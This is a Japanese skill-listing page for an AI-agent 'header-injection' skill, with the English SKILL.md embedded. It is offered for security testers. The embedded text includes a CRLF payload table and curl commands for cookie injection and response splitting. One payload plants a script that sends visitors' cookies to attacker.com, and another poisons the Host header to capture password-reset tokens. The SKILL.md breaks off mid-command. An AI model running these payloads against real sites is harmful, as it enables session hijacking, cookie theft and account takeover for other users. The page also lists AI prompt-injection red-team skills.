header-injection
できること
このスキルは、利用者の入力がHTTPヘッダーに入れられ、応答やキャッシュを変えてしまう仕組みを説明します。ヘッダーの扱いと再設定リンクを確認するセキュリティテスター向けです。
使う場面
- ✓サイトが利用者の入力をリダイレクト、Cookie、ダウンロードのヘッダーにそのまま使っており、テストしたいとき。
- ✓パスワード再設定のリンクが、リクエストのホスト名から作られているように見えるとき。
- ✓キャッシュシステムが特定のヘッダーを安全でなく扱っていないか確認したいとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“Hostヘッダーを変えて送ると、私のサイトのパスワード再設定メールの内容が変えられてしまうか確認してください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントは、改行文字や書き換えたホストヘッダー、転送用ヘッダーを使ってリクエストを送ります。サーバーが新しいヘッダーを返すか、入力からリンクを作るかを確認します。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
HTTP Header Injection
Header injection turns user-controlled input into HTTP protocol control. When server code copies a request value into a response header without CR/LF stripping, an attacker can terminate the current header and inject new headers or an entire second HTTP response. At the cache layer, headers that influence the response body but are excluded from the cache key enable persistent cache poisoning. The same family of bugs drives Host-header password-reset link hijacking, X-Forwarded-For rate-limit bypass, and Content-Disposition filename injection.
Authorized use only. Only test systems you are explicitly authorized to assess. Cache poisoning attacks affect all users of a shared cache resource.
Attack Surface
- Query/body/path parameters echoed into
Location,Set-Cookie,Content-Type,Content-Disposition,Link, or customX-*headers - Request headers re-reflected into responses:
Referer,User-Agent,X-Forwarded-Host, correlation IDs - Password-reset / account-recovery flows where the reset link is built from the
Hostheader - OAuth/SSO redirect flows where
Locationis derived from user input - CDN/reverse-proxy stacks where
X-Forwarded-HostorX-Forwarded-Protois echoed into canonical URLs Content-Disposition: attachment; filename=<user_input>file-download endpoints- Outbound email headers populated from user-supplied fields (To/From/Subject)
CR/LF Injection Payload Set
These are the characters and encodings to inject. Try each until one survives to the response header:
| Encoding | Value | Notes |
|---|---|---|
| URL bare LF | %0a |
Most permissive servers |
| URL bare CR | %0d |
Rarely effective alone |
| URL CRLF | %0d%0a |
Classic; many filters strip this |
| Double-encoded | %250d%250a |
Bypasses single-decode WAFs |
| Tab | %09 |
RFC 7230 permits tab in field values; some parsers fold into preceding header |
| Null byte | %00 |
Truncates value in some C-based parsers |
| Unicode LS/PS | %e2%80%a8 / %e2%80%a9 |
U+2028/U+2029; some intermediaries fold to LF |
| Overlong UTF-8 CR | %c0%8d |
Invalid per spec but accepted by some older parsers |
CRLF Response Splitting
Response splitting injects \r\n\r\n to terminate the current response and begin a second attacker-controlled one. Impact: inject Set-Cookie: admin=1, deliver a phishing page, or poison a shared cache.
Detection
TARGET="https://<TARGET>"
# Basic CRLF probe — inject into a redirect or Location parameter
curl -sv "${TARGET}/redirect?url=https://evil.com%0d%0aSet-Cookie:%20admin=1" 2>&1 \
| grep -iE "^< (set-cookie|location|http)"
# Probe via User-Agent or Referer if those are reflected
curl -sv "${TARGET}/" -A "probe%0d%0aX-Injected: crlf-test" 2>&1 \
| grep -i "x-injected"
Win signal: X-Injected: crlf-test or Set-Cookie: admin=1 appears in the response headers.
Exploitation: Inject Arbitrary Cookie
PAYLOAD='https://legit.example.com%0d%0aSet-Cookie:%20session=attacker_value;%20Path=/'
curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -i "set-cookie"
If the injected Set-Cookie appears, victims visiting this redirect URL (e.g., via a phishing link) receive the attacker-controlled session cookie, enabling session fixation.
Exploitation: Response Splitting for Cache Poisoning
# Force a second 200 response body into the cache slot for /
PAYLOAD='foo%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>document.location="https://attacker.com/?c="+document.cookie</script>'
curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -iE "^< (http|content-type|set-cookie)"
# Then check if / is now poisoned:
curl -s "${TARGET}/" | grep -i "attacker.com"
Host Header Poisoning
The Host header is trusted by application code to build absolute URLs (canonical links, password-reset links, OAuth redirect URIs). Injecting a malicious Host causes the app to generate URLs pointing at attacker infrastructure.
Password Reset Link Hijacking
The highest-impact Host header attack: victim requests a password reset, the app builds https://<Host>/reset?token=<token> and emails it. If Host is attacker-controlled, the victim clicks a link to the attacker's server which captures the token.
# Inject host directly
curl -sv -X POST "${TARGET}/forgot-password" \
-H "Host: attacker.com" \
-H "Content-Type: application/json" \
-d '{"email":"vi
よくある質問
なぜキャッシュポイズニングに触れているのですか?
一部のヘッダーは応答を変えるのに、キャッシュのキーに含まれていないことがあります。そのため、1件の不正な応答が他の利用者に配信されうると説明しています。
ダウンロードのファイル名も対象ですか?
はい。ダウンロードのファイル名に使われるContent-Dispositionヘッダーも扱っています。
テスト以外の用途にも使えますか?
これはセキュリティテスト用です。このスキルでは、評価する許可を得たシステムに対してのみ使うよう明記されています。
詳細
作者による元の説明
HTTP header injection — CRLF/response splitting, Host-header cache poisoning, X-Forwarded-* abuse, Content-Disposition/Set-Cookie injection, and password-reset link poisoning via unvalidated header values.
人気
- GitHubのスター
- 6.5k
- ランキング
- #14064
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。